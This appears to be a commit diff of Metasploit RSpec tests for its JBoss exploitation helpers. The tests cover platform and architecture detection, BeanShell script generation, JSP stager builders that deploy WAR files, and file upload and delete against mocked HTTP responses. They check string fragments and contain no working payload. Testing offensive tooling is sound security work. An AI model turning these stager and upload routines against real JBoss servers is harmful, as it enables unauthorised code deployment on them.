context "when server arch is Windows" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSName: Windows</td>"
|
||||
it { expect(subject.detect_platform(res)).to eq "win" }
|
||||
end
|
||||
|
||||
context "return nil if no OS match" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSName: Blah</td>"
|
||||
it { expect(subject.detect_platform(res)).to be_nil }
|
||||
end
|
||||
|
||||
context "return nil res is nil" do
|
||||
res = nil
|
||||
it { expect(subject.detect_platform(res)).to be_nil }
|
||||
end
|
||||
end
|
||||
|
||||
describe "#detect_architecture" do
|
||||
context "when server arch is x86" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSArch: i386</td>"
|
||||
it { expect(subject.detect_architecture(res)).to eq ARCH_X86 }
|
||||
end
|
||||
|
||||
context "return nil if no architecture match" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSArch: Blah</td>"
|
||||
it { expect(subject.detect_architecture(res)).to be_nil }
|
||||
end
|
||||
|
||||
context "return nil res is nil" do
|
||||
res = nil
|
||||
it { expect(subject.detect_architecture(res)).to be_nil }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -17,7 +17,7 @@ describe Msf::HTTP::JBoss::BeanShellScripts do
|
|||
it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
||||
end
|
||||
|
||||
context "when :create type is used" do
|
||||
context "when :delete type is used" do
|
||||
it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
#-*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/http/jboss'
|
||||
|
||||
describe Msf::HTTP::JBoss::DeploymentFileRepositoryScripts do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend Msf::HTTP::JBoss
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe "#stager_jsp_with_payload" do
|
||||
it "returns the JSP stager" do
|
||||
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('System.getProperty("jboss.server.home.dir");')
|
||||
end
|
||||
|
||||
it "uses the provided application name" do
|
||||
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"/deploy/management/" + "metasploit.war";')
|
||||
end
|
||||
|
||||
it "uses the provided payload" do
|
||||
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"payload";')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#head_stager_jsp" do
|
||||
it "returns the head JSP stager" do
|
||||
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('System.getProperty("jboss.server.home.dir");')
|
||||
end
|
||||
|
||||
it "uses the provided base name" do
|
||||
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('"/deploy/management/" + "stager_base.war/"')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,91 @@
|
|||
#-*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/http/jboss'
|
||||
|
||||
describe Msf::HTTP::JBoss::DeploymentFileRepository do
|
||||
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend Msf::HTTP::JBoss
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let (:base_name) do
|
||||
'dir_blah'
|
||||
end
|
||||
|
||||
let (:jsp_name) do
|
||||
'file_blah'
|
||||
end
|
||||
|
||||
let (:content) do
|
||||
'<%@page import="java.io.*%>'
|
||||
end
|
||||
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
case res_code
|
||||
when nil
|
||||
res = nil
|
||||
when 401
|
||||
res = Rex::Proto::Http::Response.new(401, "Authentication required")
|
||||
when 404
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
when 200
|
||||
res = Rex::Proto::Http::Response::OK.new
|
||||
else
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = res_code
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
describe "#upload_file" do
|
||||
context 'when server timeouts' do
|
||||
let (:res_code) { nil }
|
||||
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_nil }
|
||||
end
|
||||
|
||||
context 'when server returns a 200 response' do
|
||||
let (:res_code) { 200 }
|
||||
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when server returns a 404 response' do
|
||||
let (:res_code) { 404 }
|
||||
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when server returns a 401 response' do
|
||||
let (:res_code) { 401 }
|
||||
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
end
|
||||
|
||||
describe "#delete_file" do
|
||||
context 'when server timeouts' do
|
||||
let (:res_code) { nil }
|
||||
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_nil }
|
||||
end
|
||||
|
||||
context 'when server returns a 200 response' do
|
||||
let (:res_code) { 200 }
|
||||
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when server returns a 404 response' do
|
||||
let (:res_code) { 404 }
|
||||
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when server returns a 401 response' do
|
||||
let (:res_code) { 401 }
|
||||
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue